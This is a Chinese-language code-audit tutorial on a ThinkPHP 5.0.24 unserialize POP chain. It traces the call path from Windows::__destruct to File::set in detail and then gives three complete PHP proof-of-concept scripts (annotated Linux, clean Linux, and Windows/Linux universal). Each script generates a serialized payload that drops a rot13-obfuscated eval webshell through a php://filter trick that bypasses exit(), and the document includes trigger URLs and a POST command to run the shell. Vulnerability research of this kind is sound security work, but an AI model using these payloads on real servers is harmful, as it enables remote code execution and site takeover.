环境搭建
thinkphp安装:
composer create-project topthink/think=5.0.* thinkphp5.0 --prefer-dist
在application/index/controller/Index.php添加漏洞测试代码:
<?php
namespace app\index\controller;
class Index
{
public function test()
{
$c = unserialize($_GET['c']);
var_dump($c);
return 'Welcome to thinkphp5.0.24';
}
}
**tp5.0的访问方式**:
入口文件: http://127.0.0.1/code_audit/thinkphp5.0/public/
url访问: http://127.0.0.1/code_audit/thinkphp5.0/public/?s=/index/index/test/
传参: http://127.0.0.1/code_audit/thinkphp5.0/public/?s=/index/index/test/&c=1234
链子
起点destruct
直接Ctrl+Shift+F搜索__destruct(
这里跟的是Windows类。
发现它调用了removeFiles()方法,继续跟进。

发现removeFiles()函数使用了 file_exists 方法。并且file_exists 方法的参数$filename的值我们是可以通过序列化捏造的,也就是可控的。
我们看看file_exists是个啥函数。
查看 file_exists 的定义可以知道,$filename会被当做字符串处理,那么$filename->__toString()方法就会被调用。
跳板tostring
下面就要寻找一个实现了__toString()方法的对象来作为跳板。
此处think\Model.php存在跳板可能。
public function __toString()
{
return $this->toJson();
}
使用了$this->toJson()方法,我们跟进。
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
使用了$this->toArray()方法,继续跟进。

我们可以看到第912行,$value调用了一个getAttr()方法,如果$value可控的话,我们就可以通过控制$value的值调用__call()方法。
我们往上跟进,看看$value是否可控。
发现第902行$value是由getRelationData()的返回值进行赋值的,我们跟入getRelationData()函数。

我们发现 getRelationData() 函数中,如果我们传入的参数为 Relation 类(方法参数类型约束,函数参数类型写了Relation)且满足 if 分支的条件,那么 $value就会由$this->parent 的值决定,而且$this->parent 的值是可控的。
1、判断是否能传入一个是Relation类的对象的参数。
我们回到\think\Model,发现调用getRelationData()函数时传入的是$modelRelation变量。也就是要让$modelRelation变量值是Ralation类的对象。
继续跟进,$modelRelation变量是由$relation()的返回值决定的。也就是要让$relation()的返回值是Ralation类的对象。
跟进$relation(),发现$relation()函数是根据$relation的值进行调用的,$relation的值是由Loader::parseName($name, 1, false)的返回值决定的,可以在Loader.php里找到parseName()函数。

parseName()函数只对传进来的$name参数做了一些大小写替换,没有实质上的过滤操作。
如果$name是可控的,那么Loader::parseName($name, 1, false)的返回值就可控,那么$relation的值就可控。
往上跟踪看看$name是怎么来的,是不是可控。

如上图,首先判断$this->append是不是空,不是的话进入下面。foreach ($this->append as $key => $name)把
append的值赋给了$name。而$this->append是我们可控的,也就是$name可控。
我们控制name的值进入最后一个if语句else。进入之后,$relation的值我们就可以控制了。
接着看下面,if (method_exists($this, $relation)) ,也就是说,$relation的值要是此类的某一个方法名。这里我们选择getError()方法。
因为getError()方法会直接返回$this->error,并且$this->error可控。
那么$relation的值要为getError。
$modelRelation变量值是$relation()的返回值,也就是getError()方法的返回值,也就是$this->error的值。
要让$modelRelation变量值是Ralation类的对象,我们就要控制$this->error的值是Ralation类的对象。
综上是可以给getRelationData() 函数传入一个Relation类的对象参数的。
2、看满不满足if分支的条件。
$this->parent 的值可控,if分支的第一个条件可以满足。
接下来我们看第二个条件,跟进 isSelfRelation() 函数。
直接返回$this->selfRelation,可控,因此我们可以满足if的第二个条件。
接下来我们看第三个条件,继续跟进getModel()函数。

返回$this->query->getModel(),$query可控。因此此时我们需要查找哪个类的getModel()的返回值是可控的,在这里找到了\think\db\Query类,跟进\think\db\Query类

\think\db\Query类的getModel()方法返回$this->model,可控。
因此第三个条件满足,if分支满足。
综上满足if分支的条件。
那么就可以通过控制$this->parent 的值去控制$value的值。
往下看,虽然$value可控,但是我们还要满足两个if的条件才能调用__call()方法,我们跟进这两个if条件。
第一个if条件需要满足$modelRelation存在getBindAttr()函数,我们全局搜索一下getBindAttr()函数,发现Relation类中不存在该方法,但OneToOne类中存在,且OneToOne类是Relation类的子类。
OneToOne类的getBindAttr()函数直接返回了$this->bindAttr,且$this->bindAttr可控。

跟进OneToOne.php,发现OneToOne是个抽象类(abstract),无法生成实例。
我们全局搜索继承它的类,发现HasOne类(或者BelongsTo)继承了OneToOne类,因此我们可以令$modelRelation的值为HasOne,此时便可满足第一个if条件。

由于$this->bindAttr可控,因此我们也能满足第二个if条件。
我们往下跟进,发现$attr变量由$bindAttr决定,且$attr变量用于912行的$value->getAttr()中,因此$value->getAttr($attr)可控,所以我们可以根据$value->getAttr($attr)调用__call()方法。
最后call
此时我们需要寻找能写webshell的__call()方法,在这里选择的是think\console\Output类
我们看一下 in_array 方法:

if(in_array($method,$this->styles)) 里的$method是getAttr,且$this->styles是可控的。只要在styles数组里加一个getAttr即可。所以可以顺利进入第一个if。
array_unshift() 函数用于向数组插入新元素,新数组的值将被插入到数组的开头。array_unshift($args, $method)里的参数都是可控的,所以往下走没有影响。
call_user_func_array()是回调函数,可以将把一个数组参数作为回调函数的参数。call_user_func_array([$this, 'block'], $args); 也就是调用block函数,传参是$args数组。
我们跟一下block函数。
跟进writeln函数。
跟进write函数。

在这里$this->handle是可控的,我们寻找能写webshell的write()方法,此次选择了 think\session\driver\Memcache 类的write()方法。
在这里$this->handler又是可控的,使用了$this->handler->set方法。
我们继续寻找能写webshell的set()方法,此次选择了think\cache\driver\File 类。

我们可以看到think\cache\driver\File 类的set()方法通过file_put_contents()将$data写进了$filename文件,我们跟进$data和$filename,看$data与$filename是否可控。
往上跟进发现$filename的值是由getCacheKey()方法决定的,我们跟进getCacheKey()函数。
从getCacheKey()函数80行处的语句我们可以知道$filename的后缀是写死的,为php,并且文件名的一部分options['path']可控。
这时如果$data可控的话就可以getshell了。
我们跟进$data,发现$data最终是由think\console\Output类的write()方法决定的,$data的值为true,已经被写死了。
这样就说明了file_put_contents()函数能写入php文件,但内容不可控,无法写shell。
继续往下看,发现有个setTagItem()函数,跟进该函数看看。
我们可以看到在setTagItem()函数中又一次调用了set()函数,并且这次的$key是可控的,$value由之前的$filename决定,这也意味着我们可以通过setTagItem()再一次的写入php文件进行getshell。
到这里整个pop链已经梳理完了,接下来我们看看如何利用这条pop链进行getshell。
POP链
利用的时候我们首先需要绕过exit()的限制,因为利用file_put_contents()写入文件时内容有exit()函数并且在比较靠前的位置,如果执行到了exit()函数就会自动退出,不会执行我们写入的shell,所以我们需要绕过这个函数,这里用到php的伪协议编码进行绕过。
也就是说我们只需要在文件名中使用伪协议即可对exit()函数进行绕过
到这里我们其实可以写出整个payload了,但是目前只能写出Linux下的payload。
先梳理一下链子:
Windows类的__destruct()-->removeFiles()-->Model类的__tostring()-->toJson()-->toArray()-->Output类的__call()-->block()-->writeln()-->write()-->Memcache类的write()-->File类的set()-->Driver类的setTagItem()-->File类的set()-->file_put_contents写入shell
POC
linux下的poc(注释版
linux下的tp5.0反序列化的poc编写(有详细注释版):
<?php
/*
反序列化的起点是Windows类里的__destruct方法,所以把Windows类抄过来。
已知Windows类这段的链子是:
__destruct()-->removeFiles()-->file_exists()-->Model类的__tostring()
其中file_exists的参数由Windows类的files属性决定,我们需要控制files是某个类的对象,所以把files属性抄过来。
files的值应选择有tostring方法且能利用的类。
*/
/*
关于这里namespace和use的使用:
1.namespace就直接抄原来的就行。
2.use后面的值就要填本类里new过的类的namespace。
比如Windows类里new了Pivot类,那就要在Windows类的前面写上use <Pivot类所在的namespace>\Pivot,也就是use think\model\Pivot。
*/
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files=[];
public function __construct(){
$this->files = array(new Pivot());
}
}
//---------------------------------------------------------------------------
/*
本来是触发Model类的tostring方法,但是Model是抽象类(abstract),不能实例化(new)。
而Pivot类继承了Model类,拥有Model类的属性和方法,所以用Pivot类可以达到一样的效果,把Pivot类抄过来。
这段的链子是:
__tostring()-->toJson()-->toArray()
主要是toArray()方法的利用。根据之前的分析,我们想要利用$value->getAttr($attr)触发call方法,就要控制value的值。
1.控制$append-->控制$name-->控制$relation,而$relation要='getError',所以$append=array('getError');!!!
2.$modelRelation等于$relation()的返回值也就是getError()的返回值,也就是$error的值。
$modelRelation还得是Relation的对象。所以$error就要是Relation的对象。但是Relation是抽象类,不能实例化。
我们找找继承了Relation类的类,OneToOne类继承了Relation类,BelongsTo类继承了OneToOne类。
所以可以$error=new BelongsTo();!!!
3.getRelationData的三个if:
-Model类的parent不为空。
-Relation类的selfRelation要为假,selfRelation=false;!!!。
-Relation类的query调用的getModel()函数返回值要等于Model类的parent。
Model类的parent可控,Relation类的query可控,我们找存在可控的getModel()函数的类即可。
这里用Query类,可控变量为model。
这里选择触发Output类的call方法,所以
Pivot类的parent和Query类的model都等于new Output();!!!
4.两个if
-BelongsTo类要有getBindAttr()函数,因为OneToOne类有getBindAttr()函数,而BelongsTo类继承了OneToOne类,所以刚好满足。
-$bindAttr不为空-->BelongsTo类的getBindAttr()的返回值不为空-->BelongsTo类的bindAttr属性不为空。
所以随便赋个值bindAttr=array('hacker')
*/
namespace think\model;
use think\model\relation\BelongsTo;
use think\console\Output;
class Pivot{
protected $append = [];
protected $error;
protected $parent;
public function __construct(){
$this->append=array('getError');
$this->error=new BelongsTo();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class BelongsTo{
protected $selfRelation;
protected $query;
protected $bindAttr;
public function __construct(){
$this->selfRelation=false;
$this->query=new Query();
$this->bindAttr=array('hacker');
}
}
namespace think\db;
use think\console\Output;
class Query
{
protected $model;
public function __construct(){
$this->model=new Output();
}
}
//---------------------------------------------------------------------------
/*
$value为Output的对象,$value->getAttr($attr)触发Output类的call方法。
这段链子:
__call()-->block()-->writeln()-->write()
1.$method已知是getAttr,所以要进入第一个if,我们控制$styles = ['getAttr'];!!!
2.跟跟跟跟到了write(),handle可控,我们调用Memcache类的write
所以控制handle=new Memcache();!!!
*/
namespace think\console;
use think\session\driver\Memcache;
class Output
{
protected $styles;
private $handle;
public function __construct(){
$this->styles = ['getAttr'];
$this->handle=new Memcache();
}
}
/*
handler可控,调用set,这里选择去调用File类的set方法。
所以控制handler=new File();!!!
*/
namespace think\session\driver;
use think\cache\driver\File;
class Memcache
{
protected $handler;
public function __construct(){
$this->handler=new File();
}
}
/*
利用setTagItem()方法控制filename和data。
setTagItem()方法在Driver类里,而File类继承了Driver类,有Driver类的属性和方法。
setTagItem()方法的第一个if要tag属性不为空,我们随便给一个值:$tag='hacker';!!!
$filename来自getCacheKey()的返回值。
getCacheKey()函数前两个if不用进去,所以控制options['cache_subdir']=false,options['prefix']=''。
$filename与options['path']有关。所以控制options['path']=>'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>'
伪协议编码绕过exit()。
*/
namespace think\cache\driver;
class File
{
protected $tag;
protected $options;
public function __construct(){
$this->tag='hacker';
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>',
'data_compress' => false,
];
}
}
use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows));
/*
http://xxxxx/public/?s=/index/index/test&c=序列化后的结果
然后访问
http://xxxxx/public/%3C%3Fcuc%20%40riny(%24_CBFG%5B'pzq'%5D)%3B%3F%3E9eb29dfe314054b3d7d41b9c9b3e938c.php
POST:cmd=phpinfo();
*/
linux下的poc(干净卫生版
linux下的tp5.0反序列化利用poc(干净卫生版):
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files=[];
public function __construct(){
$this->files = array(new Pivot());
}
}
namespace think\model;
use think\model\relation\BelongsTo;
use think\console\Output;
class Pivot{
protected $append = [];
protected $error;
protected $parent;
public function __construct(){
$this->append=array('getError');
$this->error=new BelongsTo();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class BelongsTo{
protected $selfRelation;
protected $query;
protected $bindAttr;
public function __construct(){
$this->selfRelation=false;
$this->query=new Query();
$this->bindAttr=array('hacker');
}
}
namespace think\db;
use think\console\Output;
class Query
{
protected $model;
public function __construct(){
$this->model=new Output();
}
}
namespace think\console;
use think\session\driver\Memcache;
class Output
{
protected $styles;
private $handle;
public function __construct(){
$this->styles = ['getAttr'];
$this->handle=new Memcache();
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcache
{
protected $handler;
public function __construct(){
$this->handler=new File();
}
}
namespace think\cache\driver;
class File
{
protected $tag;
protected $options;
public function __construct(){
$this->tag='hacker';
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>',
'data_compress' => false,
];
}
}
use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows));
/*
http://xxxxx/public/?s=/index/index/test&c=序列化后的结果
然后访问
http://xxxxx/public/%3C%3Fcuc%20%40riny(%24_CBFG%5B'pzq'%5D)%3B%3F%3E9eb29dfe314054b3d7d41b9c9b3e938c.php
POST:cmd=phpinfo();
*/
为什么windows还不行呢,因为windows文件名不能包含“<”、“?”、“>”等字符,但我们在使用伪协议时使用了这几个字符,所以我们想在windows下利用这条pop链的话还需要想一些其他的办法,此时我们就需要寻找其他的地方去赋值文件名。
在这里我们找的是think\cache\driver\Memcached的set()方法,即当程序走到Memcache.php中的write方法时我们不直接赋予$this->handle为File对象,而是赋值为cache中的Memcached对象。
win,linux通用poc
Windows(linux、Win通用)下的tp5.0反序列化利用poc:
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files=[];
public function __construct(){
$this->files = array(new Pivot());
}
}
//tostring本来是触发Model类的,但是Model是抽象类,不能实例化。
//所以使用继承了Model的Pivot类
namespace think\model;
use think\model\relation\BelongsTo;
use think\console\Output;
class Pivot{
protected $append = [];
protected $error;
protected $parent;
public function __construct(){
$this->append=array('getError');//!
$this->error=new BelongsTo();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class BelongsTo{
protected $selfRelation;
protected $query;
protected $bindAttr;
public function __construct(){
$this->selfRelation=false;
$this->query=new Query();
$this->bindAttr=array('hacker');
}
}
namespace think\db;
use think\console\Output;
class Query
{
protected $model;
public function __construct(){
$this->model=new Output();
}
}
namespace think\console;
use think\session\driver\Memcache;
class Output
{
protected $styles;
private $handle;
public function __construct(){
$this->styles = ['getAttr'];
$this->handle=new Memcache();
}
}
namespace think\session\driver;
use think\cache\driver\Memcached;
class Memcache
{
protected $handler;
public function __construct(){
$this->handler=new Memcached();
}
}
namespace think\cache\driver;
class File
{
protected $tag;
protected $options = [];
public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/write=string.rot13/resource=./',
];
}
}
class Memcached
{
protected $tag;
protected $options = [];
protected $handler = null;
public function __construct()
{
$this->tag = true;
$this->handler = new File();
$this->options = [
'expire' => 0,
'prefix' => '<?cuc @riny($_CBFG[\'pzq\']);?>',
];
}
}
use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows));
/*
http://xxxxx/public/?s=/index/index/test&c=序列化后的结果
然后访问
http://xxxxx/public/0f3a97a39ce7ab0b6672494aace6b06a.php
POST:cmd=phpinfo();
*/
学习链接: